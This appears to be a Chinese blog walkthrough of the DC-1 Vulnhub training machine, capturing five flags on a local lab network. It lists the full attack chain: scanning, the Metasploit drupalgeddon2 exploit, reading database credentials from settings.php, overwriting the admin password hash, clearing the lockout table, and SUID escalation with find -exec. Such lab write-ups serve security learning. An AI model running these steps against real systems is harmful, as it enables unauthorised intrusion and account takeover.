码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • DC-1靶机练习【超详细】


     前言

    作者简介:不知名白帽,网络安全学习者。

    博客主页:https://blog.csdn.net/m0_63127854?type=blog

    Vulnhuv专栏:https://blog.csdn.net/m0_63127854/category_12000843.html

    网络安全交流社区:https://bbs.csdn.net/forums/angluoanquan

    目录

    环境

    信息收集

    查看kali的IP

    netdiscover发现DC-1靶机IP

    ​编辑

    nmap扫描DC-1靶机信息

    ​编辑

    访问80端口

    搜索Drupal

    漏洞扫描

    msf搜索相关漏洞

    漏洞利用

    ​编辑

    找到flag1

    找到flag2

    找到flag3

    SUID提权

    ​编辑

    找到flag4

    ​编辑

    ​编辑

    找到thefinalflag.txt


    对下载的DC-1.zip文件进行解压

    VM打开DC-1.ova文件(快捷键Ctrl+O)

    开启DC-1

    将DC-1的网络模式换成NET模式,方便使用kali进行同网段扫描

    环境

    kali的IP:192.168.20.129;DC-1靶机的IP192.168.20.130

    信息收集

    查看kali的IP

    netdiscover发现DC-1靶机IP

    netdiscover -r 192.168.20.1/24
    

    nmap扫描DC-1靶机信息

    nmap -A -v -T4 192.168.20.130
    

    访问80端口

    搜索Drupal

    Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成,在GPL2.0及更新协议下发布

    漏洞扫描

    msf搜索相关漏洞

    search drupal
    

    Check中为"yes"的都可以使用

    漏洞利用

    使用模板二

    use exploit/unix/webapp/drupal_drupalgeddon2
    

    show options查看模板的需要配置的地方

    配置RHOSTS

    1. set rhosts 192.168.20.130
    2. run

    shell进入后渗透模块,使用python反弹一个交互式shell

    python -c 'import pty; pty.spawn("/bin/bash")'
    

    找到flag1

    ls查看当前文件夹下的文件,找到flag1.txt

    查看flag1.txt

    flag1提示:每个优秀的CMS都需要一个配置文件—您也需要

    Drupal的默认配置文件为 /var/www/sites/default/settings.php

    找到flag2

    进入sites/default/下找settings.php,在配置文件中发现flag2和一些数据库信息

    通过mysql,我们查看3306端口是否开放

    netstat -anptl
    

    已经知道数据库的账号密码,而且3306端口已开放,登录数据库

    mysql -u dbuser -p 
    

    查看数据库

    show databases;
    

    查看drupaldb数据库中的表

    1. use drupaldb;
    2. show tables;

    查看user表中的用户

    select * from users;
    

    在scripts录有password-hash.sh文件,可以用该文件生成自己的密码hash值替换数据库hash

    find . -name “hash”
    
    php scripts/password-hash.sh password
    

    修改密码

    update drupaldb.users set pass='$S$DNTdRYn.oOsIM0QzOSYWQhI7XXGqr0igs4tDhcSJgEXaGVwuCKnv' where name="admin"; ##修改密码
    

    报错解决:

    Sorry, there have been more than 5 failed login attempts for this account. It is temporarily blocked. Try again later or request a new password.

    drupal的用户登录中,连续密码输入错误5次 该账号就无法再登录 ,试五遍就让你重置密码。

    所以清除flood

    truncate flood;
    

    登录网站

    找到flag3

    Flag3提示词有perms、find、-exec、shadow共四个特殊提示词

    SUID提权

    cat /etc/passwd
    

    找到flag4

    使用find命令查找有特殊权限suid的命令

    find / -perm -4000
    

     

    使用find命令提权

    find / -exec “/bin/bash” -p ;
    

    cat flag4.txt
    

    找到thefinalflag.txt

  • 相关阅读:
    Java开发模拟面试记录
    中文LLaMA模型和指令精调的Alpaca大模型:中文数据进行二次预训练,进一步提升了中文基础语义理解能力
    Linux服务健康检查,自动启动(crontab)
    HyperLynx(二十九)高速串行总线仿真(一)
    【Python & turtle】绘制一个有趣的的Emoticons
    Kotlin作用域函数详解
    安装Hive集群
    linux平常总结
    开源 DevOps 工具,你值得拥有!
    Web前端高频面试题解析(javascript篇)--- 每日十题(6)
  • 原文地址:https://blog.csdn.net/m0_63127854/article/details/126736824
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号